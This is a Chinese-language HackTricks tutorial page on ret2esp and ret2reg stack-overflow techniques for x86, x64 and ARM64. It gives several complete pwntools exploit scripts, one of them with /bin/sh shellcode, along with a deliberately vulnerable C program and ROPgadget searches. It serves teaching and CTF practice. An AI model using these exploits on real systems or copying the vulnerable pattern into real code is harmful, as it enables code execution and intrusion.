{% hint style="success" %}
学习并练习AWS黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习并练习GCP黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看订阅计划!
- 加入 💬 Discord 群组 或 电报群组 或 关注我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。
由于ESP(堆栈指针)始终指向堆栈的顶部,这种技术涉及将EIP(指令指针)替换为**jmp esp
或call esp
**指令的地址。通过这样做,shellcode 就被放置在被覆盖的 EIP 之后。当ret
指令执行时,ESP 指向下一个地址,恰好是 shellcode 存储的位置。
如果在 Windows 或 Linux 中未启用地址空间布局随机化(ASLR),可以使用在共享库中找到的jmp esp
或call esp
指令。然而,如果启用了ASLR,可能需要在受影响的程序内部寻找这些指令(并且可能需要绕过PIE)。
此外,能够将 shellcode 放置在EIP 被破坏之后,而不是在堆栈的中间,确保在函数运行过程中执行的任何push
或pop
指令不会干扰 shellcode。如果 shellcode 放置在函数堆栈的中间,可能会发生这种干扰。
如果在覆盖 RIP 后缺少写入空间(可能只有几个字节),可以编写一个初始的**jmp
** shellcode,如下所示:
sub rsp, 0x30
jmp rsp
您可以在https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp中找到此技术的示例,最终利用如下:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
你可以在https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html中看到这种技术的另一个示例。在没有启用NX的情况下发生了缓冲区溢出,使用了一个小工具来减少$esp
的地址,然后使用jmp esp;
跳转到shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
类似地,如果我们知道一个函数返回存储shellcode的地址,我们可以利用**call eax
或jmp eax
指令(称为ret2eax技术),提供另一种执行我们的shellcode的方法。就像eax一样,包含有趣地址的任何其他寄存器**都可以被使用(ret2reg)。
您可以在这里找到一些示例:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
- **
strcpy
将存储在eax
中,其中包含shellcode的缓冲区的地址,而eax
**没有被覆盖,因此可以使用ret2eax
。
在ARM64中,没有允许跳转到SP寄存器的指令。可能会找到一个将sp移动到寄存器然后跳转到该寄存器的gadget,但在我的kali libc中找不到类似的gadget:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
{% endcode %}
我发现的唯一方法是更改在跳转到 sp 复制之前的寄存器值的方法(因此它将变得无用):
如果一个寄存器有一个有趣的地址,只需找到适当的指令就可以跳转到它。您可以使用类似以下的内容:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
{% endcode %}
在ARM64中,是**x0
**存储函数的返回值,因此可能是x0存储用户控制的缓冲区的地址,其中包含一个用于执行的shellcode。
示例代码:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
检查函数的反汇编代码,可以看到缓冲区的地址(容易受到缓冲区溢出攻击,由用户控制)在从缓冲区溢出返回之前被存储在 x0
中:
在**do_stuff
函数中也可以找到br x0
**这个特殊指令:
我们将使用该特殊指令进行跳转,因为二进制文件是没有启用 PIE 编译的。通过模式匹配,可以看到缓冲区溢出的偏移量为 80,因此利用将是:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
{% hint style="warning" %}
如果使用的是 read
而不是 fgets
,只需覆盖返回地址的最后2个字节即可绕过 PIE,返回到 br x0;
指令,而无需知道完整地址。
由于 fgets
会在末尾添加一个空字符 (0x00),所以这种方法不起作用。
{% endhint %}
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
{% hint style="success" %}
学习并练习 AWS Hacking:HackTricks 培训 AWS 红队专家 (ARTE)
学习并练习 GCP Hacking: HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 电报群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。